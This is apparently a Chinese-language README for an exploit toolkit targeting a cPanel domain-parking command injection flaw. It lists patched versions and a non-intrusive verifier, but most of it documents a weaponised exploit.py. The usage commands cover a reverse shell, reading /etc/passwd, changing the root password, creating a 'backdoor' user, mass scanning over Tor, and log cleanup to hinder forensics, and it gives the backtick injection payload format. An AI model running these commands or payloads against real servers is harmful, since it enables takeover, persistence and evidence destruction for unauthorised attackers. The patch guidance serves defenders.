CVE‑2026‑65643 – cPanel 域名停放 RCE 工具包

仅限道德用途 – 经授权的安全测试
本仓库仅为经授权的安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在美国 CFAA、英国《计算机滥用法》、土耳其 TCK 243/244 以及全球类似法律下均属违法。

---

漏洞概述

CVE‑2026‑65643 是 cPanel & WHM 11.x 版本中的一个严重命令注入漏洞，允许已认证的 cPanel 用户通过域名停放功能以 root 权限执行任意系统命令。

工作原理

1. 需要已认证访问 – 攻击者必须在目标服务器上拥有有效的 cPanel 账户（用户名/密码）。
2. 域名停放注入 – 添加停放域名时，域名未经过适当清理，允许攻击者使用反引号（`）注入 shell 命令。
3. 命令执行 – 注入的命令以 cPanel 用户权限由系统执行，可通过提权技术提升至 root。
4. Root 权限 – 由于域名停放操作以足够的权限运行，可以以高权限执行任意命令。
5. 影响 – 服务器完全沦陷、数据窃取、后门、勒索软件和横向移动。请立即升级！

受影响版本

• cPanel & WHM 11.110.0.140 及更早版本 – 存在漏洞
• 11.134.0.52 及更早版本 – 存在漏洞
• 11.136.0.36 及更早版本 – 存在漏洞
• 11.138.0.1 及更早版本 – 存在漏洞
• 11.138.1.6 及更高版本 – 已修补

补丁

• 升级至 cPanel & WHM 11.138.1.6、11.138.0.2、11.136.0.37、11.134.0.53 或 11.110.0.141 或更新版本。
• 如果无法升级，作为临时缓解措施，禁用 cPanel 用户的域名停放权限。

---

工具

工具	用途	目标用户
exploit.py	完整武器化工具包，包含反向 shell、webshell、持久化、文件读写、root 密码修改、批量扫描、Tor 支持和 OPSEC 功能。	红队 / 经授权的渗透测试人员
verifier.py	非侵入式漏洞检查器，检测 cPanel 版本、验证注入并评估风险，不执行任何恶意载荷。生成详细报告。	蓝队 / 安全审计人员

---

功能对比

功能	exploit.py	verifier.py
漏洞检测	[+]	[+]
版本检测（4 个端点）	[+]	[+]
命令注入	[+]	[-]
反向 shell	[+]	[-]
WebShell 上传	[+]	[-]
持久化（创建 cPanel 用户）	[+]	[-]
Root 密码修改	[+]	[-]
文件读/写	[+]	[-]
4 种注入方法（JSON/Form/CGI/API2）	[+]	[+]
Tor 支持（匿名性）	[+]	[-]
User‑Agent 轮换（OPSEC）	[+]	[-]
抖动（OPSEC）	[+]	[-]
批量扫描（多线程）	[+]	[-]
交互式 shell	[+]	[-]
非侵入式（安全）模式	[-]	[+]
时间线日志记录	[+]	[+]
HTML 报告	[+]	[-]
JSON 报告	[+]	[+]
日志清理（反取证）	[+]	[+]
代理支持	[+]	[+]
自定义 User‑Agent	[+]	[+]
SSL 验证控制	[+]	[+]

---

使用场景摘要

场景	推荐工具
蓝队 – 验证您的 cPanel 安装是否存在漏洞	verifier.py
安全审计 – 非侵入式漏洞评估	verifier.py
红队 – 经授权的渗透测试与完整利用	exploit.py
漏洞赏金 – 负责任披露测试	verifier.py
批量扫描 – 检查多个目标的漏洞	exploit.py（仅检测）
事件响应 – 检查系统是否已被入侵	verifier.py

---

安装

git clone https://github.com/tc4dy/CVE-2026-65643-PoC-Toolkit
cd CVE-2026-65643-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

requests
urllib3

参数

exploit.py 参数

参数	描述
-t, --target	目标 cPanel URL（例如 https://cpanel.example.com:2083）
-l, --target-file	包含目标列表的文件（每行一个），用于批量扫描
-u, --username	cPanel 用户名
-P, --password	cPanel 密码
-p, --port	覆盖 cPanel 端口（默认来自 URL 或 2083）
--threads	多目标线程数（默认：10）
-o, --output	将 JSON 报告保存到文件
--html-report	将 HTML 报告保存到文件
-v, --verbose	详细输出
--proxy	HTTP/HTTPS 代理（例如 http://127.0.0.1:8080）
--tor	通过 Tor 路由（localhost:9050）
-ua, --user-agent	自定义 User‑Agent
--no-keep-alive	不保持会话活跃
--delay	请求之间的延迟（默认：2.0 秒）
--jitter	请求之间的随机抖动（0‑1 秒）（默认：0.5）
--max-retries	最大重试次数（默认：5）
--ssl-verify	验证 SSL 证书
--timeout	请求超时（默认：15 秒）
--cmd	在目标上执行单个命令
--reverse-shell	反向 shell IP:PORT
--passwd	修改 root 密码
--adduser	创建 cPanel 用户（USER DOMAIN PASSWORD）
--read	读取文件
--write	写入文件（指定路径）
--write-content	要写入的内容
--cleanup	利用后清理日志和历史记录
-i, --interactive	利用后进入交互式 shell
--domain-suffix	停放域名的后缀（默认：exploit.local）

verifier.py 参数

参数	描述
-t, --target	目标 cPanel URL（例如 https://cpanel.example.com:2083）
-u, --username	cPanel 用户名
-P, --password	cPanel 密码
-o, --output	将 JSON 报告保存到文件
-v, --verbose	详细输出
--proxy	HTTP/HTTPS 代理（例如 http://127.0.0.1:8080）
--tor	通过 Tor 路由（localhost:9050）
--ssl-verify	验证 SSL 证书
--timeout	请求超时（默认：15 秒）
--cleanup	测试后清理日志

---

场景

#	场景	命令
1	快速漏洞检查	python verifier.py -t https://cpanel.example.com:2083 -u user -P pass
2	带报告的详细扫描	python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v
3	反向 shell	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444
4	执行命令	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami"
5	读取敏感文件	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd
6	修改 root 密码	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123
7	创建新 cPanel 用户（持久化）	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123
8	利用后进入交互式 shell	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i
9	从文件批量扫描	python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json
10	使用代理、Tor 和自定义 User‑Agent	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0"
11	利用后清理日志	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup

---

端点与注入方法

该漏洞利用使用以下 cPanel 端点和注入方法：

方法	端点	描述
JSON API	/cpsessXXXXX/json-api/domain	通过 JSON 载荷的主要注入方法
表单数据	/cpsessXXXXX/json-api/domain	通过表单编码数据的替代注入
CGI 脚本	/cgi-sys/domainpark.cgi	旧版 CGI 端点注入
API2	/cpsessXXXXX/json-api/cpanel	旧版 API2 注入方法

载荷格式

# 注入载荷格式
test.com`<command>`

# 示例
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`

负责任使用

• 仅在您拥有或已获得明确书面测试许可的系统上使用这些工具。
• 未经授权的访问是非法的且不道德的。
• 作者对任何滥用行为不承担责任。
• 始终遵守您所在国家的法律法规。

本软件仅供教育目的和经授权的安全测试使用。